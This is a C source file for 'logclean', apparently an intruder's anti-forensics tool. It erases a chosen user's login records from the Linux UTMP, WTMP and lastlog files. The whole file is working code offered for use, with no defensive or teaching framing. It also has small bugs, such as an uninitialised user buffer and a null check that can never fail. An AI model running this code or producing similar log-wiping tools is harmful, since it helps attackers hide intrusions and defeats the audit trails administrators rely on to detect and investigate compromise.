/*
 * logclean.c by CoKi <coki@nosystem.com.ar>
 *
 * This tool cleans WTMP, UTMP and lastlog for linux
 *
 * No System Group - http://www.nosystem.com.ar
 *
 */

#include <stdio.h>
#include <string.h>
#include <utmp.h>
#include <getopt.h>
#include <lastlog.h>
#include <pwd.h>

#define VERSION "0.1"

int uwtmp_clean(char *path, char *user);
int lastlog_clean(char *path, char *user);
void use(char *program);
void version(void);

int main(int argc, char *argv[]) {
	char user[UT_LINESIZE];
	char c;

	while((c = getopt(argc, argv, "vu:")) != EOF) {
		switch(c) {
			case 'v':
				version();
	            break;
			case 'u':
				if(strlen(optarg) > UT_LINESIZE) {
					printf("user name too long\n");
					exit(0);
				}
				snprintf(user, sizeof(user), "%s", optarg);
				break;
			default :
				use(argv[0]);
				break;
		}
	}

	if(user == NULL || argc < 2) {
		use(argv[0]);
	}

	printf(" UTMP:\t\t");
	fflush(stdout);
	uwtmp_clean(_PATH_UTMP, user);

	printf(" WTMP:\t\t");
	fflush(stdout);
	uwtmp_clean(_PATH_WTMP, user);

	printf(" LASTLOG:\t");
	fflush(stdout);
	lastlog_clean(_PATH_LASTLOG, user);
}

int uwtmp_clean(char *path, char *user) {
	FILE *uwtmp_file;
	struct utmp uwtmp_tmp;
	int count=0;

	if((uwtmp_file = fopen(path, "r+")) == NULL) {
		printf("[-] filed to open file '%s'\n", path);
		return 0;
	}
  
	while(fread((char *)&uwtmp_tmp, sizeof(uwtmp_tmp), 1, uwtmp_file) > 0) {
		if(strcmp(uwtmp_tmp.ut_name, user) ==0) {
			fseek(uwtmp_file, -sizeof(uwtmp_tmp), SEEK_CUR);
			bzero(&uwtmp_tmp, sizeof(uwtmp_tmp));
			fwrite((char *)&uwtmp_tmp, sizeof(uwtmp_tmp), 1, uwtmp_file);
			count++;
		}
	}
  
	fclose(uwtmp_file);
  
	if(count == 0) {
		printf("[-] user '%s' not found\n", user, path);
	}
  
	else printf("[+] '%s' cleaned!\n", path);

}

int lastlog_clean(char *path, char *user) {
	FILE *lastlog_file;
	struct passwd *pwd;
	struct lastlog lastlog_tmp;
	int count=0;

	if((lastlog_file = fopen(path, "r+")) == NULL) {
		printf("[-] filed to open file '%s'\n", path);
		return 0;
	}

	if ((pwd = getpwnam(user)) == NULL) {
       printf("[-] user '%s' not found\n", user);
       return 0;
    }

	fseek(lastlog_file, (long)(pwd->pw_uid*sizeof(lastlog_tmp)), SEEK_SET);
	bzero((char *)&lastlog_tmp, sizeof(lastlog_tmp));
	fwrite((char *)&lastlog_tmp, sizeof(lastlog_tmp), 1, lastlog_file);

	fclose(lastlog_file);

	printf("[+] '%s' cleaned!\n", path);

}

void use(char *program) {
	printf(" use: %s -u\tuser\n", program);
	printf("\t\t -v\tversion\n");
	exit(0);
}

void version(void) {
	printf(" logclean.c v%s by CoKi <coki@nosystem.com.ar>\n", VERSION);
	exit(0);
}